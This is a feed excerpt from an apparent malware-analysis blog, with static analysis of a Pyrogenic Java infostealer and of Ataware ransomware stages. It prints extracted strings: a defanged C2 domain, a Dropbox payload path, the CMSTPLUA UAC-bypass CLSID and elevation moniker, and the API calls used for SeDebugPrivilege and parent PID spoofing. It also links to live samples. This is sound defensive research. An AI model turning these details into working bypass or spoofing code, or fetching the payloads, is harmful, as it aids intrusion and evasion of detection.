&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/12/Pyrogenic-AES-references.png&quot;&gt;&lt;img alt=&quot;Pyrogenic AES references&quot; decoding=&quot;async&quot; height=&quot;993&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/12/Pyrogenic-AES-references.png&quot; srcset=&quot;/wp-content/uploads/2019/12/Pyrogenic-AES-references.png 862w, /wp-content/uploads/2019/12/Pyrogenic-AES-references-232x300.png 232w, /wp-content/uploads/2019/12/Pyrogenic-AES-references-792x1024.png 792w, /wp-content/uploads/2019/12/Pyrogenic-AES-references-768x993.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Pyrogenic AES references&lt;/figcaption&gt;&lt;/figure&gt;&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/12/Pyrogenic-doFinal-references.png&quot;&gt;&lt;img alt=&quot;Pyrogenic doFinal reference&quot; decoding=&quot;async&quot; height=&quot;611&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/12/Pyrogenic-doFinal-references.png&quot; srcset=&quot;/wp-content/uploads/2019/12/Pyrogenic-doFinal-references.png 1181w, /wp-content/uploads/2019/12/Pyrogenic-doFinal-references-300x239.png 300w, /wp-content/uploads/2019/12/Pyrogenic-doFinal-references-1024x814.png 1024w, /wp-content/uploads/2019/12/Pyrogenic-doFinal-references-768x611.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Pyrogenic doFinal reference&lt;/figcaption&gt;&lt;/figure&gt;&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/12/Pyrogenic-PBKDF2-references.png&quot;&gt;&lt;img alt=&quot;Pyrogenic PBKDF2WithHmacSHA1 reference&quot; decoding=&quot;async&quot; height=&quot;437&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/12/Pyrogenic-PBKDF2-references.png&quot; srcset=&quot;/wp-content/uploads/2019/12/Pyrogenic-PBKDF2-references.png 945w, /wp-content/uploads/2019/12/Pyrogenic-PBKDF2-references-300x171.png 300w, /wp-content/uploads/2019/12/Pyrogenic-PBKDF2-references-768x437.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Pyrogenic PBKDF2WithHmacSHA1 reference&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;li&gt;Based on the above images which shows multiple references, we can confirm that this sample uses the algo &lt;strong&gt;“AES/ECB/PKCS5Padding”&lt;/strong&gt; and key may be  generated using &lt;strong&gt;“PBKDF2WithHmacSHA1” &lt;/strong&gt;. So it confirmed that it doesn’t use any custom decryption algorithm.&lt;/li&gt;
&lt;li&gt;We can add our code to write the data to file after &lt;strong&gt;doFinal &lt;/strong&gt;call and execute the sample in IDE to get the dumped class file  Then we can decompile the class file using BCV and continue analysis. But it can be multiple layer obfuscation which can make our analysis harder and slower.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h4&gt;
&lt;p&gt;This above static analysis method to find the encryption routine and interesting breakpoint (doFinal) while debugging is very useful in Java Malware analysis. Using this approach you will not miss any code path but this requires more time and effort. So in the upcoming &lt;a href=&quot;/malware-analysis/unpacking/unpacking-pyrogenic-qealler-using-java-agent-part-0x2/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;part 0x2&lt;/a&gt; , we will unpack this malware using &lt;strong&gt;Java agent&lt;/strong&gt; which will speed up our analysis.&lt;/p&gt;
&lt;h4 id=&quot;references&quot;&gt;References&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.inversecos.com/2019/11/new-pyrogenic-jar-based-malware.html&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;NEW PYROGENIC JAR-BASED MALWARE CAMPAIGN&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.naijasecforce.com/the-jar-based-malware/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Pyrogenic – The JAR-Based Malware Spreading Across Africa and the Middle East&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://howtodoinjava.com/security/java-aes-encryption-example/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Java AES Encryption Decryption Example&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

</content:encoded><category>malware-analysis</category><category>malware-analysis/static-analysis</category><category>bytecode-viewer</category><category>infostealer</category><category>java</category><category>pyrogenic</category><category>qealler</category><category>t1555-003</category></item><item><title>Parent PID Spoofing (Stage 2) Ataware Ransomware – Part 0x3</title><link>https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=256</guid><description>Ataware Ransomware Stage 2 uses Parent PID Spoofing technique to change it parent PID to lsass.exe and download the final Ataware Ransomware.</description><pubDate>Tue, 14 May 2019 06:41:40 GMT</pubDate><content:encoded>&lt;div&gt;Ataware Ransomware Stage 2 uses Parent PID Spoofing technique to change its parent PID to lsass.exe and this article is also referred to in Mitre Attack website &lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[4]&lt;/sup&gt;&lt;/a&gt;. You may download the ATAPIConfiguration.exe file from &lt;a href=&quot;https://app.any.run/tasks/3a72818c-fd7e-4c05-aa3c-a52a894ae0d6&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;ANY.RUN&lt;/a&gt; (MD5: 04a2e6400b22a3a5e5e277eceaf2ce0c)&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;Please check previous posts, if you are interested in the complete infection chain &lt;a href=&quot;/malware-analysis/excel-4-0-macro-hta-vbscript-powershell-analysis-ataware-ransomware-part-1/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Excel 4.0 Macro Analysis – Ataware Ransomware Part 1&lt;/a&gt; &amp;amp; &lt;a href=&quot;/malware-analysis/uac-bypass-analysis-stage-1-ataware-ransomware-part-2/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;UAC bypass analysis (Stage 1) Ataware Ransomware Part 2&lt;/a&gt;.&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/05/Ataware_Ransom_overview.png&quot;&gt;&lt;img alt=&quot;Ataware Ransomware Overview&quot; decoding=&quot;async&quot; height=&quot;441&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 451px) 100vw, 451px&quot; src=&quot;/wp-content/uploads/2019/05/Ataware_Ransom_overview.png&quot; srcset=&quot;/wp-content/uploads/2019/05/Ataware_Ransom_overview.png 451w, /wp-content/uploads/2019/05/Ataware_Ransom_overview-300x293.png 300w&quot; width=&quot;451&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Ataware Ransomware Overview&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h4 id=&quot;overview-of-atapiconfiguration-exe-stage-2&quot;&gt;Overview of ATAPIConfiguration.exe (Stage 2)&lt;/h4&gt;
&lt;p&gt;Stage 2 downloads the final Ataware Ransomware (ATAPIUpdtr.exe) from CC which can encrypt files. Then, it uses Parent PID Spoofing to change the parent PID to lsass.exe before executing it.&lt;/p&gt;
&lt;h5&gt;CONTENTS&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;#static_analysis&quot;&gt;Static Analysis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#parent_pid&quot;&gt;Parent PID Spoofing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#analysis_steps&quot;&gt;Analysis steps in Ghidra&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#references&quot;&gt;References&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;static_analysis&quot;&gt;Static Analysis&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;32bit PE, compiled using GCC MINGW&lt;/li&gt;
&lt;li&gt;Nothing interesting in overlay, no resources&lt;/li&gt;
&lt;li&gt;Compiler timestamp invalid is 1997&lt;/li&gt;
&lt;li&gt;File contain TLS callback but nothing interesting&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/05/Strings_ExeInfo.png&quot;&gt;&lt;img alt=&quot;ExeInfo &amp;amp; Strings tool&quot; decoding=&quot;async&quot; height=&quot;889&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 569px) 100vw, 569px&quot; src=&quot;/wp-content/uploads/2019/05/Strings_ExeInfo.png&quot; srcset=&quot;/wp-content/uploads/2019/05/Strings_ExeInfo.png 569w, /wp-content/uploads/2019/05/Strings_ExeInfo-192x300.png 192w&quot; width=&quot;569&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;ExeInfo &amp;amp; Strings tool&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h5&gt;Strings&lt;/h5&gt;
&lt;p&gt;Based on the strings berylia[.]net and /index/, we can guess that malware may be downloading something.&lt;br/&gt;
&lt;code&gt;wininet.dll&lt;br/&gt;
InternetConnectW&lt;br/&gt;
berylia.net&lt;br/&gt;
HttpOpenRequestW&lt;br/&gt;
/index/&lt;br/&gt;
GET&lt;br/&gt;
InternetQueryOptionW&lt;br/&gt;
InternetSetOptionW&lt;br/&gt;
HttpSendRequestA&lt;br/&gt;
TEMP&lt;br/&gt;
kernel32.dll&lt;br/&gt;
CreateFileW&lt;br/&gt;
InternetReadFile&lt;br/&gt;
WriteFile&lt;br/&gt;
InternetCloseHandle&lt;br/&gt;
Advapi32.dll&lt;br/&gt;
LookupPrivilegeValueW&lt;br/&gt;
AdjustTokenPrivileges&lt;br/&gt;
OpenThreadToken&lt;br/&gt;
ImpersonateSelf&lt;br/&gt;
SeDebugPrivilege&lt;br/&gt;
CreateToolhelp32Snapshot&lt;br/&gt;
Process32FirstW&lt;br/&gt;
Process32NextW&lt;br/&gt;
lsass.exe&lt;br/&gt;
OpenProcess&lt;br/&gt;
InitializeProcThreadAttributeList&lt;br/&gt;
UpdateProcThreadAttribute&lt;br/&gt;
CreateProcessA&lt;br/&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&quot;parent_pid&quot;&gt;Parent PID Spoofing&lt;/h4&gt;
&lt;p&gt;Stage 2 mainly uses &lt;strong&gt;InitializeProcThreadAttributeList&lt;/strong&gt;, &lt;strong&gt;UpdateProcThreadAttribute&lt;/strong&gt; &amp;amp; &lt;strong&gt;CreateProcessA&lt;/strong&gt; with &lt;em&gt;STARTUPINFOEXA&lt;/em&gt; structure API for spoofing. Didier Stevens already blogged about this in 2009 &lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[1]&lt;/sup&gt;&lt;/a&gt;, “Normally the parent process of a new process is the process that created the new process (via &lt;strong&gt;CreateProcess&lt;/strong&gt;). But when using &lt;em&gt;STARTUPINFOEX&lt;/em&gt; with the right &lt;strong&gt;LPPROC_THREAD_ATTRIBUTE_LIST&lt;/strong&gt; to create a process, you can arbitrarily specify the parent process, provided you have the debug rights.” Before spoofing, this Stage 2 enables &lt;strong&gt;SeDebugPrivilege&lt;/strong&gt; of current thread.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;UpdateProcThreadAttribute&lt;/strong&gt; function&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[2]&lt;/sup&gt;&lt;/a&gt; is called with &lt;em&gt;PROC_THREAD_ATTRIBUTE_PARENT_PROCESS&lt;/em&gt; (0x00020000) attribute with the handle of lsass.exe. At last, &lt;strong&gt;CreateProcessA&lt;/strong&gt; is called with &lt;em&gt;STARTUPINFOEXA&lt;/em&gt; Structure which contain new &lt;em&gt;StartupInfoEx.lpAttributeList&lt;/em&gt; and creation flag 0x80010 (&lt;em&gt;EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE&lt;/em&gt;) for creating new process with different Parent PID.&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/05/Final-7.png&quot;&gt;&lt;img alt=&quot;Parent PID Spoofing final code in Ghidra&quot; decoding=&quot;async&quot; height=&quot;970&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/05/Final-7.png&quot; srcset=&quot;/wp-content/uploads/2019/05/Final-7.png 1014w, /wp-content/uploads/2019/05/Final-7-237x300.png 237w, /wp-content/uploads/2019/05/Final-7-811x1024.png 811w, /wp-content/uploads/2019/05/Final-7-768x970.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Parent PID Spoofing final code&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h4 id=&quot;analysis_steps&quot;&gt;Analysis steps in Ghidra&lt;/h4&gt;
&lt;p&gt;1. Navigate to entry function, then to WinMain address @ &lt;em&gt;0x4013dd&lt;/em&gt; as shown below&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/05/Before-Main-1.png&quot;&gt;&lt;img alt=&quot;Before any comment Main function Ghidra&quot; decoding=&quot;async&quot; height=&quot;196&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/05/Before-Main-1.png&quot; srcset=&quot;/wp-content/uploads/2019/05/Before-Main-1.png 1536w, /wp-content/uploads/2019/05/Before-Main-1-300x76.png 300w, /wp-content/uploads/2019/05/Before-Main-1-1024x261.png 1024w, /wp-content/uploads/2019/05/Before-Main-1-768x196.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Before any comment Main function&lt;/figcaption&gt;&lt;/figure&gt;&lt;br/&gt;
2. We will concentrate on &lt;strong&gt;download_spoof_parent_process_exe&lt;/strong&gt; (&lt;em&gt;0x40208b&lt;/em&gt;) in main function as shown below&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/05/Main-2.png&quot;&gt;&lt;img alt=&quot;Main function in Ghidra&quot; decoding=&quot;async&quot; height=&quot;404&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/05/Main-2.png&quot; srcset=&quot;/wp-content/uploads/2019/05/Main-2.png 840w, /wp-content/uploads/2019/05/Main-2-300x158.png 300w, /wp-content/uploads/2019/05/Main-2-768x404.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Main function in Ghidra&lt;/figcaption&gt;&lt;/figure&gt;&lt;br/&gt;
3. Before any rename/comment @ &lt;em&gt;0x401cb7&lt;/em&gt;&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/05/Before-Stage-3.png&quot;&gt;&lt;img alt=&quot;Before Parent PID Spoofing function in Ghidra&quot; decoding=&quot;async&quot; height=&quot;1068&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/05/Before-Stage-3.png&quot; srcset=&quot;/wp-content/uploads/2019/05/Before-Stage-3.png 902w, /wp-content/uploads/2019/05/Before-Stage-3-216x300.png 216w, /wp-content/uploads/2019/05/Before-Stage-3-737x1024.png 737w, /wp-content/uploads/2019/05/Before-Stage-3-768x1068.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Before Parent PID Spoofing function&lt;/figcaption&gt;&lt;/figure&gt;&lt;br/&gt;
4. This function contains two main functions FUN_00401b91() &amp;amp; FUN_00401579().&lt;br/&gt;
5. Let’s focus on FUN_00401b91 (&lt;strong&gt;adjust_priv_current_thread_sedebug&lt;/strong&gt;), this function enables &lt;strong&gt;SeDebugPrivilege&lt;/strong&gt; of current thread.&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/05/adjust_priv_current_thread_sedebug-4.png&quot;&gt;&lt;img alt=&quot;Adjust privilege of current thread Ghidra&quot; decoding=&quot;async&quot; height=&quot;759&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/05/adjust_priv_current_thread_sedebug-4.png&quot; srcset=&quot;/wp-content/uploads/2019/05/adjust_priv_current_thread_sedebug-4.png 859w, /wp-content/uploads/2019/05/adjust_priv_current_thread_sedebug-4-300x297.png 300w, /wp-content/uploads/2019/05/adjust_priv_current_thread_sedebug-4-768x759.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Adjust privilege of current thread&lt;/figcaption&gt;&lt;/figure&gt;&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/05/adjust_priv-5.png&quot;&gt;&lt;img alt=&quot;Enable SeDebugPrivilege using AdjustTokenPrivileges&quot; decoding=&quot;async&quot; height=&quot;700&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/05/adjust_priv-5.png&quot; srcset=&quot;/wp-content/uploads/2019/05/adjust_priv-5.png 948w, /wp-content/uploads/2019/05/adjust_priv-5-300x273.png 300w, /wp-content/uploads/2019/05/adjust_priv-5-768x700.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Enable SeDebugPrivilege using AdjustTokenPrivileges&lt;/figcaption&gt;&lt;/figure&gt;&lt;br/&gt;
&lt;aside class=&quot;callout&quot;&gt;&lt;p&gt;Tip: &lt;strong&gt;LookupPrivilegeValueW&lt;/strong&gt; &amp;amp; &lt;strong&gt;AdjustTokenPrivileges&lt;/strong&gt; API are very common in malware when they want to enable &lt;strong&gt;SeDebugPrivilege&lt;/strong&gt; privilege. For details, please check this msdn &lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;[3]&lt;/sup&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/aside&gt;&lt;br/&gt;
6. FUN_00401579()/&lt;strong&gt;download_save_ATAPIUpdtr_exe&lt;/strong&gt; function download the file from CC &lt;strong&gt;hxxps://berylia[.]net/index/&lt;/strong&gt; and save it to $temp directory as ATAPIUpdtr.exe.&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/05/download_save-6.png&quot;&gt;&lt;img alt=&quot;Download and save ATAPIUpdtr.exe&quot; decoding=&quot;async&quot; height=&quot;861&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/05/download_save-6.png&quot; srcset=&quot;/wp-content/uploads/2019/05/download_save-6.png 1140w, /wp-content/uploads/2019/05/download_save-6-268x300.png 268w, /wp-content/uploads/2019/05/download_save-6-913x1024.png 913w, /wp-content/uploads/2019/05/download_save-6-768x861.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Download and save ATAPIUpdtr.exe - Using https, send GET request to CC&lt;/figcaption&gt;&lt;/figure&gt;&lt;br/&gt;
7. Parent PID Spoofing is shown below in the final code &lt;strong&gt;download_spoof_parent_process_exe&lt;/strong&gt;.&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/05/Final-7.png&quot;&gt;&lt;img alt=&quot;Parent PID Spoofing final code in Ghidra&quot; decoding=&quot;async&quot; height=&quot;970&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/05/Final-7.png&quot; srcset=&quot;/wp-content/uploads/2019/05/Final-7.png 1014w, /wp-content/uploads/2019/05/Final-7-237x300.png 237w, /wp-content/uploads/2019/05/Final-7-811x1024.png 811w, /wp-content/uploads/2019/05/Final-7-768x970.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Parent PID Spoofing final code&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h4 id=&quot;dynamic-analysis-using-sysmon&quot;&gt;Dynamic Analysis using Sysmon&lt;/h4&gt;
&lt;p&gt;File Create event Sysmon&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/05/Sysmon-File-Create.png&quot;&gt;&lt;img alt=&quot;Sysmon File Create for ATAPIUpdtr.exe&quot; decoding=&quot;async&quot; height=&quot;306&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/05/Sysmon-File-Create.png&quot; srcset=&quot;/wp-content/uploads/2019/05/Sysmon-File-Create.png 866w, /wp-content/uploads/2019/05/Sysmon-File-Create-300x120.png 300w, /wp-content/uploads/2019/05/Sysmon-File-Create-768x306.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Sysmon File Create for ATAPIUpdtr.exe&lt;/figcaption&gt;&lt;/figure&gt;&lt;br/&gt;
Here you can see Process Create with spoofing in action with Parent Image lsass.exe.&lt;br/&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/05/Spoofing-Parent-Process.png&quot;&gt;&lt;img alt=&quot;Parent PID Spoofing Sysmon&quot; decoding=&quot;async&quot; height=&quot;551&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/05/Spoofing-Parent-Process.png&quot; srcset=&quot;/wp-content/uploads/2019/05/Spoofing-Parent-Process.png 874w, /wp-content/uploads/2019/05/Spoofing-Parent-Process-300x215.png 300w, /wp-content/uploads/2019/05/Spoofing-Parent-Process-768x551.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Parent PID Spoofing Sysmon&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h4 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Analysed Parent PID Spoofing and saw this in action using Sysmon&lt;/li&gt;
&lt;li&gt;Malware uses this technique to evade detection which is based on parent-child process&lt;/li&gt;
&lt;li&gt;We understood how malware author can enable SeDebugPrivilege&lt;/li&gt;
&lt;/ul&gt;
&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;h4 id=&quot;references&quot;&gt;References&lt;/h4&gt;
&lt;ol&gt;
&lt;li style=&quot;list-style-type: none;&quot;&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/&quot;&gt;SelectMyParent or Playing With the Windows Process Tree&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-gb/windows/desktop/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute/&quot;&gt;UpdateProcThreadAttribute function&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-gb/windows/desktop/SecAuthZ/enabling-and-disabling-privileges-in-c--&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Enabling and Disabling Privileges in C++&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1134/004/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Access Token Manipulation: Parent PID Spoofing&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;

</content:encoded><category>malware-analysis</category><category>ataware</category><category>ghidra</category><category>pe</category><category>ransomware</category><category>strings</category><category>sysmon</category></item><item><title>UAC bypass analysis (Stage 1) Ataware Ransomware – Part 0x2</title><link>https://www.securityinbits.com/malware-analysis/uac-bypass-analysis-stage-1-ataware-ransomware-part-2/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=214</guid><description>Ataware Ransomware uses UAC bypass using CMSTPLUA COM interface in ATAPIinit.exe (Stage 1). It was downloaded from Dropbox url when user open the malicious Excel.</description><pubDate>Tue, 07 May 2019 13:06:59 GMT</pubDate><content:encoded>&lt;p&gt;Ataware Ransomware uses &lt;strong&gt;UAC&lt;/strong&gt; bypass using &lt;strong&gt;CMSTPLUA COM&lt;/strong&gt; interface in ATAPIinit.exe (Stage 1). It was downloaded from Dropbox url when the user opened the malicious Excel and enabled the Macro. For details, please check the previous &lt;a href=&quot;/malware-analysis/excel-4-0-macro-hta-vbscript-powershell-analysis-ataware-ransomware-part-1/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Excel 4.0 Macro Analysis – Ataware Ransomware Part 1&lt;/a&gt;. You may download the ATAPIinit.exe file from &lt;a href=&quot;https://app.any.run/tasks/e8e682e8-6d7f-42c8-ad3f-6afa980a77e3&quot; rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot;&gt;ANY.RUN&lt;/a&gt; (Md5: 097cc44444c6733bc6b32cb1c4c87ddd).&lt;/p&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/05/Ataware_Ransom_overview.png&quot;&gt;&lt;img alt=&quot;Ataware Ransomware Overview&quot; decoding=&quot;async&quot; height=&quot;441&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 451px) 100vw, 451px&quot; src=&quot;/wp-content/uploads/2019/05/Ataware_Ransom_overview.png&quot; srcset=&quot;/wp-content/uploads/2019/05/Ataware_Ransom_overview.png 451w, /wp-content/uploads/2019/05/Ataware_Ransom_overview-300x293.png 300w&quot; width=&quot;451&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Ataware Ransomware Overview&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h4 id=&quot;overview-of-atapiinit-exe-stage1&quot;&gt;Overview of ATAPIinit.exe (Stage1)&lt;/h4&gt;
&lt;p&gt;The main purpose is to &lt;strong&gt;UAC&lt;/strong&gt; bypass using &lt;strong&gt;CMSTPLUA COM&lt;/strong&gt; interface and download another binary ATAPIConfiguration.exe (Stage 2) from dropbox url. Then, it executes the downloaded file.&lt;/p&gt;
&lt;h4 id=&quot;static-analysis&quot;&gt;Static Analysis&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;32bit PE, Compiled using GCC MINGW&lt;/li&gt;
&lt;li&gt;Nothing interesting in overlay, no resources&lt;/li&gt;
&lt;li&gt;Compiler timestamp invalid is 1970&lt;/li&gt;
&lt;li&gt;File contain TLS callback but nothing interesting&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2019/04/EXeinfo-Strings.png&quot;&gt;&lt;img alt=&quot;UAC bypass&quot; decoding=&quot;async&quot; height=&quot;685&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; src=&quot;/wp-content/uploads/2019/04/EXeinfo-Strings.png&quot; srcset=&quot;/wp-content/uploads/2019/04/EXeinfo-Strings.png 845w, /wp-content/uploads/2019/04/EXeinfo-Strings-300x268.png 300w, /wp-content/uploads/2019/04/EXeinfo-Strings-768x685.png 768w&quot; width=&quot;768&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Exeinfo &amp;amp; Strings tool&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h5&gt;Strings&lt;/h5&gt;
&lt;p&gt;Found some interesting strings, if you google “&lt;em&gt;{3E5FC7F9-9A51-4367-9063-A120244FBEC7}&lt;/em&gt;” you will find multiple links related to UAC bypass. So, you can guess that malware may be bypassing UAC and downloading something from dropbox. We will check this in detail later using Ghidra.&lt;br/&gt;
&lt;code&gt;CLSIDFromString&lt;br/&gt;
IIDFromString&lt;br/&gt;
{3E5FC7F9-9A51-4367-9063-A120244FBEC7}&lt;br/&gt;
{6EDD6D74-C007-4E75-B76A-E5740995E24C}&lt;br/&gt;
Elevation:Administrator!new:&lt;br/&gt;
CoGetObject&lt;br/&gt;
wininet.dll&lt;br/&gt;
InternetOpenW&lt;br/&gt;
WINDOWS&lt;br/&gt;
wininet.dll&lt;br/&gt;
InternetConnectW&lt;br/&gt;
dl.dropboxusercontent.com&lt;br/&gt;
HttpOpenRequestW&lt;br/&gt;
/s/uzu60whrg1spnyy/ATAPIConfiguration&lt;br/&gt;
GET&lt;br/&gt;
InternetQueryOptionW&lt;br/&gt;
InternetSetOptionW&lt;br/&gt;
HttpSendRequestA&lt;br/&gt;
TEMP&lt;/code&gt;&lt;/p&gt;
&lt;h5&gt;Ghidra Setup&lt;/h5&gt;
&lt;p&gt;Import Windows API Ghidra Data Type Archives (winapi_32.gdt) in Data Type manager from &lt;a href=&quot;https://github.com/0x6d696368/ghidra-data/tree/master/typeinfo&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;github&lt;/a&gt;. For more details, check this &lt;a href=&quot;https://www.youtube.com/watch?v=u15-r5Erfnw&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Youtube Video&lt;/a&gt;. Retype Variable will be used frequently to fix decompiled code, so please check this short video.&lt;br/&gt;
